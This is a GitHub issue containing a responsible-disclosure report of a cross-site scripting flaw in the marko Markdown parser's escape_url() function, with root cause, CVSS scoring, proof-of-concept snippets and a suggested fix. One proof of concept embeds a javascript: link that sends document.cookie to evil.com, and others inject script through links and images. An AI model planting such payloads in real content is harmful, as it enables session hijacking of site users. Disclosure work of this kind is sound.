Skip to content

CVE Vulnerability Report: Cross-Site Scripting (XSS) in marko #257

@gnsehfvlr

Description

@gnsehfvlr

Hello,

I believe I have identified a security vulnerability and would like to report it through responsible disclosure. If the issue is confirmed, I would appreciate it if a CVE identifier could be requested and assigned after the vulnerability has been patched.

Please find the details of the vulnerability below.

Best regards,


CVE Vulnerability Report: Cross-Site Scripting (XSS) in marko

Summary

Field Value
Package marko
Version <= 2.2.2 (latest)
Vulnerability XSS via unfiltered javascript: protocol in Markdown URL rendering
CWE CWE-79 (Improper Neutralization of Input During Web Page Generation)
CVSS 3.1 6.1 (Medium)
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Monthly Downloads ~3,252,827
Repository https://github.com/frostming/marko
Affected Function escape_url() in marko/html_renderer.py

GitHub Security Advisory Form

Field Value
Ecosystem pip
Package name marko
Affected versions <= 2.2.2
Patched versions No patch available
Severity Medium
CVSS Score 6.1
Vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE CWE-79

Description

The marko Markdown parser (3.2M+ monthly downloads) contains a Cross-Site Scripting (XSS) vulnerability in its HTML rendering output. The escape_url() function does not filter dangerous URI schemes such as javascript:, vbscript:, or data:. When user-provided Markdown content containing javascript: URLs is rendered to HTML, the resulting <a href="javascript:..."> tags execute arbitrary JavaScript in the victim's browser.

This is notable because the competing Markdown parser mistune explicitly blocks harmful protocols via a HARMFUL_PROTOCOLS check and replaces them with #harmful-link. marko lacks this protection entirely.

Root Cause

In marko/html_renderer.py, the escape_url() static method:

@staticmethod
def escape_url(raw: str) -> str:
    """
    Escape urls to prevent code injection craziness. (Hopefully.)
    """
    return html.escape(quote(html.unescape(raw), safe="/#:()*?=%@+,&"))

Note the ironic docstring: "Escape urls to prevent code injection craziness. (Hopefully.)" — it does not actually prevent javascript: injection.

This function performs HTML entity escaping and URL percent-encoding, but it does not check or filter the URL scheme. The javascript: protocol passes through intact because:

  1. html.unescape() decodes any HTML entities
  2. quote() percent-encodes special characters but preserves javascript: (colon is in the safe parameter)
  3. html.escape() escapes <>&" but javascript:alert() contains none of these

Compare with mistune (safe implementation):

# mistune explicitly blocks harmful protocols
HARMFUL_PROTOCOLS = re.compile(r'javascript:|vbscript:|data:', re.IGNORECASE)

def safe_url(url):
    if HARMFUL_PROTOCOLS.match(url):
        return "#harmful-link"
    return url

Proof of Concept

PoC 1: Basic XSS via Markdown link

import marko

# Attacker-controlled Markdown input
user_comment = "[Click here](javascript:alert('XSS'))"

# Application renders Markdown to HTML
html_output = marko.convert(user_comment)
print(html_output)
# Output: <p><a href="javascript:alert(%27XSS%27)">Click here</a></p>
# The javascript: URL is preserved — clicking executes JavaScript

PoC 2: Cookie theft via stored XSS

import marko

# Attacker posts a comment with hidden XSS payload
malicious_comment = """
Great article! Check out my [related research](javascript:fetch('https://evil.com/steal?c='+document.cookie)) for more details.
"""

html_output = marko.convert(malicious_comment)
# Output contains: <a href="javascript:fetch(...)">related research</a>
# When any user clicks the link, their cookies are sent to the attacker

PoC 3: Image tag XSS

import marko

# javascript: in image source
payload = "![profile](javascript:alert(document.cookie))"
html_output = marko.convert(payload)
# Output: <img src="javascript:alert(document.cookie)" alt="profile" />

PoC 4: Comparison with mistune (safe)

import marko
import mistune

payload = "[Click](javascript:alert('XSS'))"

# marko: VULNERABLE
print(marko.convert(payload))
# <p><a href="javascript:alert(%27XSS%27)">Click</a></p>

# mistune: SAFE
print(mistune.html(payload))
# <p><a href="#harmful-link">Click</a>)</p>

PoC 5: Browser verification

Save this HTML file and open in a browser:

<!DOCTYPE html>
<html>
<body>
<h1>marko XSS PoC</h1>
<p>Click the link below:</p>
<p><a href="javascript:alert('XSS_via_marko')">Click me</a></p>
</body>
</html>

Clicking the link triggers a JavaScript alert, confirming the XSS.

Impact

  • Session Hijacking: Attacker steals session cookies via document.cookie.
  • Account Takeover: Attacker performs actions on behalf of the victim using stolen session tokens.
  • Phishing: Attacker injects fake login forms or redirects to malicious sites.
  • Keylogging: Attacker injects JavaScript keyloggers to capture sensitive input.
  • Stored XSS: In applications that store and render user Markdown (forums, comments, wikis, README viewers), the payload persists and triggers for every user who views the content.

Given the package's 3.2M+ monthly downloads, any application rendering user-provided Markdown with marko is vulnerable.

Attack Scenario

  1. A web application allows users to write comments or content in Markdown format.
  2. The application uses marko to convert Markdown to HTML for display.
  3. An attacker writes a comment containing [innocent text](javascript:malicious_code).
  4. When other users view the rendered page and click the link, the JavaScript executes in their browser context.
  5. The attacker's code steals cookies, session tokens, or performs actions on behalf of the victim.

Remediation

Add a URL scheme filter in escape_url():

import re

# List of harmful URI schemes
HARMFUL_PROTOCOLS = re.compile(r'^\s*(javascript|vbscript|data):', re.IGNORECASE)

def escape_url(raw):
    url = html.escape(quote(html.unescape(raw), safe="/#:()*?=%@+,&"))
    # Block dangerous URI schemes
    if HARMFUL_PROTOCOLS.match(html.unescape(url)):
        return "#harmful-link"
    return url

Timeline

Date Event
2026-03-16 Vulnerability discovered
2026-03-16 Report drafted
TBD Vendor notification
TBD CVE ID assigned
TBD Patch released

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions